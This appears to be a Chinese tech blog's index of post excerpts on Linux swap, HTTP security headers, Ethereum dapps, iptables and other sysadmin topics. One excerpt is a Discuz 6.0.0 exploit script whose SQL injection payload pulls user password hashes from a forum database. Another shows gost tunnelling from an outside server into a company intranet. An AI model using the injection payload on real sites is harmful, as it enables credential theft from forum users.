发表于
2021-03-10 12:25:00
Linux建一个swap文件来充当交换空间，以建立SWAP分区
查看内存的情况（此时swap行为0）free -m初始时Swap 相关数据都是0。创建swap文件（本文创建了2G），并使之生效a.创建用于交换分区的文件:dd if=/dev/zero of=/swapfile bs=1M count=2048注：block_size、number_of_block 大小可以自定义，比如 bs=1M count=1024 代表设置 1G 大小 SWAP 分区。b.设置交换分区文件：mkswap /swapfilec.立即启用交换分区文件:swapon /swapfile这个命令可能会提示“swapon: /swapfile: insecure permissions 0644, 0600 suggested.”，意思是建议把swap设置成644或600权限。这时运行free -m会发现swap一列已经有数字了,就是上面第一次执行free -m 后的结果。注：如果在 /etc/rc.local 中有 swapoff -a 需要修改为 swapon -a在 /etc/fstab 中添加如下一行，使之永久生效/swapfile swap swap defaults 0 0修改 swpapiness 参数在 Linux 系统中，可以通过查看 /proc/sys/vm/swappiness 内容的值来确定系统对 SWAP 分区的使用原则。当 swappin
...继续阅读
(12)
发表于
2020-11-10 05:21:24
分享几个安全相关的http header头
HttpOnly如果cookie中设置了HttpOnly属性，那么通过js脚本将无法读取到cookie信息，这样能有效的防止XSS攻击，窃取cookie内容，这样就增加了cookie的安全性，即便是这样，也不要将重要信息存入cookie。XSS全称Cross SiteScript，跨站脚本攻击，是Web程序中常见的漏洞，XSS属于被动式且用于客户端的攻击方式，所以容易被忽略其危害性。其原理是攻击者向有XSS漏洞的网站中输入(传入)恶意的HTML代码，当其它用户浏览该网站时，这段HTML代码会自动执行，从而达到攻击的目的。如，盗取用户Cookie、破坏页面结构、重定向到其它网站等。设置cookie为HttpOnly方式如下：cookie.setHttpOnly(true);X-Frame-Options X-Frame-Options HTTP 响应头是用来给浏览器指示允许一个页面可否在,或者中展现的标记。网站可以使用此功能，来确保自己网站的内容没有被嵌到别人的网站中去，也从而避免了点击劫持 (clickjacking) 的攻击。使用 X-Frame-OptionsX-Frame-Options 有三个值:DENY 表示该页面不允许在 frame 中展示，即便是在相同域名的页面中嵌套也不允许。SAMEORIGIN 表示该页面可以在相同域名页面的 frame 中展示。ALLOW-FRO
...继续阅读
(13)
发表于
2020-07-30 05:32:46
页面移除script文件后不刷新的解决办法
用dom操作script元素，移除后页面并不会因此而改变，原因是浏览器处理script标签使用块加载的方法，一旦解析完成就写入内存中了。解决办法是获取当前页面的html，用正则处理掉script标签，然后在打开一个新页面去解析这些html。参考代码如下：var ohtml=document.getElementsByTagName('html')[0].innerHTML;
var nhtml=ohtml.replace(/]+xx.js.+?<\/script>/,"").replace(/]+yy.+?<\/script>/,"");
var testwin= open("", "testwin","");
testwin.document.open();
testwin.document.write(nhtml);
...继续阅读
(7)
发表于
2020-03-10 16:48:18
抖音视频无水印下载实现-2020年最新
发表于
2020-02-28 04:46:39
抓取股票数据的定时任务怎么写？
先写个crontab，规律性的执行一个php脚本，比如2分钟一次。脚本中抓取任务执行前加个stockday判断，就可以了。stockday的实现如下：function stockday(){$w = date(“w”,time());if($w==0||$w==6) return false;//周一到周五执行//开盘时间大家都知道$checkDayStr = date(‘Y-m-d ‘,time());$timeBegin1 = strtotime($checkDayStr.”09:20:00″);$timeEnd1 = strtotime($checkDayStr.”11:30:00″);$timeBegin2 = strtotime($checkDayStr.”13:00:00″);$timeEnd2 = strtotime($checkDayStr.”15:02:00″);$curr_time = time();if($curr_time >= $timeBegin1 && $curr_time <= $timeEnd1){return true;}if($curr_time >= $timeBegin2 && $curr_time
...继续阅读
(16)
发表于
2019-12-09 05:47:26
gost穿透公司内网控制公司服务器
1. 需要一台外网服务器，在上面执行：./gost -L=ss2://AEAD_CHACHA20_POLY1305:password@:443 -L=auto://127.0.0.1:10802.在公司内网一台跳板机上建立通道，注意，需要可以上面那台访问外网服务器。gost.exe -L=rtcp://127.0.0.1:9822/要控制的的服务器ip:22 -F=ss2://AEAD_CHACHA20_POLY1305:password@外网服务器ip:443?ping=300 -F socks5://127.0.0.1:10803.在外网服务器就可以访问内网的要控制的服务器了：ssh -p 9822 root@127.0.0.1
...继续阅读
(10)
发表于
2018-12-06 10:30:41
通过ssh给pip或者docker设置代理，以便访问google或者github等服务
国内网络十分不稳定，我们在用pip install或者docker拉取镜像的时候经常出现超时或者无法访问的情况，这时候可以找一台国外的云服务器，做个代理加速我们的安装进程。步骤如下：国外云服务器1.20.20.31 ssh端口22首先通过ssh建立一个socket代理，端口号是1080：ssh -fND 127.0.0.1:1080 root@1.20.20.31 -p 22但是我们设置环境变量的时候，没法设置socket代理，只能设置http和https的，所以我们需要借助一个工具gost来把socket代理转化为http的。安装gost的方法：------#### 二进制文件https://github.com/ginuerzh/gost/releases#### 源码编译```bashgo get -u github.com/ginuerzh/gost/cmd/gost```#### Docker```bashdocker pull ginuerzh/gost```#### Ubuntu商店```bashsudo snap install gost“`运行如下命令启动一个1081的http代理：gost -L :1081 -F socks5://127.0.0.1:1080最后设置pip或者docker代理就可以了：①永久设置：vim /etc/profile：e
...继续阅读
(5)
发表于
2018-03-15 15:04:39
基于以太坊私有链搭建一个分布式应用【3】
搭建Dapp(分布式应用)非常不情愿的安装npm,然后sudo npm install -g truffle会出现一个很NB的动画安装过程，默默地欣赏…71j.cn@ubuntu:~$ mkdir dapp71j.cn@ubuntu:~$ cd dapptruffle unbox webpack # 初始化一个带ui的truffle项目/usr/bin/env: ‘node’: No such file or directorysudo ln -s /usr/bin/nodejs /usr/bin/node又报错：SyntaxError: Block-scoped declarations (let, const, function, class) not yet supported outside strict mode因为 node的版本太低sudo npm install -g nsudo n stable再来truffle unbox webpack，成功后可以看下当前的目录结构：-contracts //智能合约存放目录-migrations //智能合约abi及部署信息存目录-test //测试文件-truffle.js //truffle默认配置-truffle-config.js //Windows下默认配置文件名与truffle冲突，可使用该文件解决修改webpa
...继续阅读
(11)
发表于
2018-03-15 14:01:27
基于以太坊私有链搭建一个分布式应用【2】
合约编写 合约编辑器有很多，我们用这个IDEhttp://remix.ethereum.org/合约格式是sol，需要编译成js文件让geth执行。以上工具可以方便的实现。Conference.sol示例：pragma solidity ^0.4.19; contract Conference { // can be killed, so the owner gets sent the money in the end address public organizer;mapping (address => uint) public registrantsPaid;uint public numRegistrants;uint256 public ticketPrice;uint public quota; event Deposit(address _from, uint _amount); // so you can log the event,more information to see http://71j.cnevent Refund(address _to, uint _amount); // so you can log the event,more information to see http://71j.cn function Conference() pu
...继续阅读
(14)
发表于
2018-03-15 13:52:07
基于以太坊私有链搭建一个分布式应用【1】
这几天不分白昼的看各种英文文档和stackoverflow，终于把区块链这套基本的框架和流程搞通了，感觉十分不容易，故做个分享。不过，如果你时间充裕，请直接阅读英文官方文档：http://www.ethdocs.org/en/latest/，不要看我们这些囫囵吞枣的内容。如果阅读有困难，可以从本文先找找感觉。名词解释Ethereum–以太坊，是一个开源的有智能合约功能的公共区块链平台公有链、私有链、联盟链–公有链不解释；私有链是指其写入权限由某个组织和机构控制的区块链，参与节点的资格会被严格限制；联盟链是指有若干个机构共同参与管理的区块链，每个机构都运行着一个或多个节点，其中的数据只允许系统内不同的机构进行读写和发送交易，并且共同来记录交易数据。Geth–对应软件包ethereum，又名Go Ethereum，是以太坊协议的三种实现之一，由Go语言开发，完全开源的项目。Geth 可以被安装在很多操作系统上，包括Windows、Linux、Mac的OSX、Android或者IOS系统Solidity–对应软件包solc，是一种语法类似JavaScript的高级语言。它被设计成以编译的方式生成以太坊虚拟机代码。gas— cost = gasPrice * gasUsed, gaslimit是由发起者设置的，gasPrice是双
...继续阅读
(15)
发表于
2016-10-05 07:55:24
php-fpm卡死，经查是pcscd服务占用了太多连接数
发表于
2016-09-04 12:42:47
把笔记本的网络通过无线方式共享给手机
网络ssid:paddy密码:duyipeng运行下面两行命令即可：netsh wlan set hostednetwork mode=allow ssid=paddy key=duyipengnetsh wlan start hostednetwork
...继续阅读
(9)
发表于
2016-08-01 07:25:29
The HTTP response body was malformed错误解决
发表于
2016-06-08 07:24:56
验证身份证的代码
身份证最后一位是根据前面十七位数字码计算出来的检验码作为尾号的校验码。计算方法1、将前面的身份证号码17位数分别乘以不同的系数。从第一位到第十七位的系数分别为：7 9 10 5 8 4 2 1 6 3 7 9 10 5 8 4 2 ；2、将这17位数字和系数相乘的结果相加；3、用加出来和除以11，看余数是多少；4、余数只可能有0 1 2 3 4 5 6 7 8 9 10这11个数字。其分别对应的最后一位身份证的号码为1 0 X 9 8 7 6 5 4 3 2；5、通过上面得知如果余数是2，就会在身份证的第18位数字上出现罗马数字的X。如果余数是10，身份证的最后一位号码就是2；例如：某男性的身份证号码是34052419800101001X。我们要看看这个身份证是不是合法的身份证。首先：我们计算3*7+4*9+0*10+5*5+…+1*2，前17位的乘积和是189然后：用189除以11得出的结果是商17余2最后：通过对应规则就可以知道余数2对应的数字是x。所以，这是一个合格的身份证号码。附上代码：<?php$s="371122198601097819";$c=explode(" ","7 9 10 5 8 4 2 1 6 3 7 9 10 5 8 4 2");$v=explode(" ","1 0 X 9 8 7 6 5 4 3 2");$sum=0;for($i=
...继续阅读
(33)
发表于
2015-12-24 09:39:55
一个java反序列化漏洞的修复过程–用iptables禁用外网访问该端口
最近有台服务器被安全部门扫出存在java反序列化的漏洞，修复建议是：升级Commons-Collections.jar到最新版本，官方下载地址：http://commons.apache.org/proper/commons-collections/download_collections.cgi注：升级后请做好相关功能测试。检查了这个jar包后，发现这个服务器上的应用和最新版无法兼容。于是想到使用iptables把外网访问这个端口的权限给禁用掉# Generated by iptables-save v1.4.8 on Sat Jun 15 23:23:13 2013*filter:INPUT ACCEPT [35:6316]:FORWARD ACCEPT [0:0]:OUTPUT ACCEPT [17:1648]-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 8080 -j ACCEPT-A INPUT -p tcp -m tcp --dport 8080 -j REJECTCOMMIT# Completed on Sat Jun 15 23:23:13 2013iptables-resore rules.txt后防火墙服务开机自启动chkconfig iptables on防火墙规则开启自启动service iptables sa
...继续阅读
(26)
发表于
2015-11-30 14:41:06
在ubuntu server环境下配置virtualbox并安装window X64系统
近日因为公司IT提供的接口返回的数据只能用windows环境去解析, 可我处所有服务器已经完成了全linux进化，所以只好找了台空闲的ubuntu server去Virtualbox一个windows 2008.根据Oracle Virtualbox官方的统一叫法，ubuntu系统是host，而要安装的windows 2008是guest.其中host的信息为：Ubuntu 14.04.3 LTS(GNU/Linux 3.19.0-25-generic x86_64)而guest的镜像信息为：cn_windows_server_2008_r2_X64_standard_enterprise可以看到，这两个系统都是64位的。首先在host中为virtualbox的apt-secure配置公钥信息：wget-q https://www.virtualbox.org/download/oracle_vbox.asc -O- | sudo apt-key add -然后在/etc/apt/sources.list添加下列行：deb http://download.virtualbox.org/virtualbox/debian vivid contrib该处需要根据你系统的发行版本, 将 ‘vivid’ 替换为 ‘utopic’
...继续阅读
(50)
发表于
2014-11-19 05:35:19
mac os下openconnect安装
前阵子介绍了mac系统下使用openconnect连接cisco VPN的方法，但是好多peng’yopeng’yo朋友不知道如何安装openconnect，在此我再介绍下。软件下载链接：Homebrew http://brew.sh/VPNC http://www.infradead.org/openconnect/vpnc-script.htmlHere is a high level set of steps to install and configure it for your use. As always, proceed at your own risk, make a backup, complete your last will and testament, and accept that your computer may overheat and fuse into a worthless pile of slag as a result of following these directions.InstallsYou’ll need openconnect and vpnc-script.I used Homebrew to install openconnect.$ brew install openconnectTh
...继续阅读
(48)
发表于
2014-01-13 16:05:33
分析下这两个函数的区别：fsocket和curl实现相同的功能
function socket($host, $url, $content, $port = 80) {$data = “POST ” . $url . ” HTTP/1.1\r\n”;$data .= “Host: ” . $host . “\r\n”;$data .= “Content-Type: application/x-www-form-urlencoded\r\n”;$data .= “Content-Length: ” . strlen($content) . “\r\n”;$data .= “\r\n”;$data .= $content . “\r\n\r\n”;$ock = fsockopen($host, $port);if (!$ock) {echo ‘No response from ‘ . $host . “\n”;;}fwrite($ock, $data);$r = “”;while (!feof($ock)) {$r .= fgets($ock, 1024);}pre
...继续阅读
(16)
发表于
2014-01-12 14:26:28
linux批量解压rar到各自文件夹
相信用过winrar的朋友都不陌生，在windows下面一次选取多个压缩文件，点右键会弹出解压每个压缩文件到单独的文件夹，这个给一次解压多个文件非常方便。在linux系统下的实现过程如下：for i in `ls *.rar`domkdir ./${i/.rar//}unrar x $i ${i/.rar//}done
...继续阅读
(27)
发表于
2013-11-06 13:17:17
设置linux的swap的使用频率
Ubuntu 默认的 vm.swappiness 值是 60,这一默认值已经很合适了。但你可以改小一些降低swap 的加载,系统性能会有一点点的提升,输入代码:sysctl -q vm.swappiness.你会看到值是 60.更改代码:sudo sysctl vm.swappiness=10.这样你就将值由 60 改为 10,这可以大大降低系统对于 swap 的写入,建议内存为 512m 左右的朋友采用此方法。如你你发现你对于 swap 的使用极少,可以将值设为 0，这并不会禁止你对 swap 的使用,而是使你的系统对于 swap 的写入尽可能的少,同时尽可能多的使用你的物理内存。这对于你在切换应用程序时有着巨大的作用,因为这样的话它们是在物理内存而非swap 分区中。如果你想永久得改变这一值,你需要更改 sysctl.conf 文件:代码:sudo vi /etc/sysctl.conf,修改:vm.swappiness=10到末行,需要重启生效。小贴士:1G 内存推荐值为 5,2G 内存推荐值为 3,不推荐把值设为 0.
...继续阅读
(27)
发表于
2013-10-24 19:09:35
Ubuntu Server挂载swap文件(自动挂载)
阿里云安装系统的时候，并没有挂载swap分区。而我们对数据盘进行分区的时候，把整个磁盘都用上了，并没用预留空间。swap分区是行不通了，只能试试swap文件。建立一个有连续空间的空白文件# dd if=/dev/zero of=SWAPFILE bs=1024 count=10485761048576+0 records in1048576+0 records out1073741824 bytes (1.1 GB) copied, 59.7957 s, 18.0 MB/s需要格式化：mkswap SWAPFILE 1048576Setting up swapspace version 1, size = 1048572 KiBno label, UUID=1aaed031-33ef-479b-a9a4-2f008a7bbb2f使用格式化完毕的文件：# swapon SWAPFILE查看文件使用情况：# swapon -sFilename Type Size Used Priority/srv/SWAPFILE file 1048572 95852 -1加入自动启用为避免重启后swapfile生效，可以将启用s
...继续阅读
(24)
发表于
2013-08-18 07:15:40
杜工版discuz6.0.0漏洞利用脚本
杜工版discuz6.0.0漏洞利用脚本学习研究技术用，切勿用于非法用途修改域名和要破解的用户uid后，运行查看输出内容中是否有密码，如果没有说明论坛漏洞已经被修复代码如下：error_reporting(E_ALL&E;_NOTICE);
/*杜工版discuz6.0.0漏洞利用脚本*/
/*学习研究技术用，切勿用于非法用途*/
$host = "www.xxx.com";
$path = "forum/";
$port = 80;
$uid = 1;
$content = "action=search&searchid;=22%cf' UNION SELECT 1,password,3,password/**/from/**/cdb_members/**/where/**/uid=" . $uid . "/*&do;=submit";
$data = "POST /" . $path . "/index.php" . " HTTP/1.1\r\n";
$data .= "Accept: */*\r\n";
$data .= "Accept-Language: zh-cn\r\n";
$data .= "Content-Type: application/x-www-form-urlencoded\r\n";
$data .= "User-Agent: wap\r\n";
$d
...继续阅读
(19)
发表于
2013-07-01 13:42:48
如何刷应用商店排名
发表于
2013-06-06 16:36:01
vpn无法正常访问https网站的解决办法
前阵子忽然发现在国外假设的vpn在家无法访问https网站了，检查了路由什么的都正常，遂怀疑是小区宽带的防火墙作祟，不了了之。今儿晚上又仔细分析了下，会不会是前阵子换了无线路由器的原因呢？以前也遇到过nat功能没打开导致vpn无法连接的问题，于是登陆到路由器管理平台，发现有个转发规则栏目，进入后，打开“特殊应用程序”，有如下文字提示：某些程序需要多条连接，如Internet游戏，视频会议，网络电话等。由于防火墙的存在，这些程序无法在简单的NAT 路由下工作。特殊应用程序使得某些这样的应用程序能够在NAT路由下工作。看来很大可能就是它的问题了，添加一个条目：ID触发端口触发协议开放端口开放协议状态编辑11723ALL1723ALL生效其中1723是pptp协议要使用的端口。断开电脑网络，重新连接，发现问题得到解决。后来重启了电脑，发现又不行了，捯饬了半天，原来是路由器MTU数的问题，改成1490，重启路由，搞定。
...继续阅读
(16)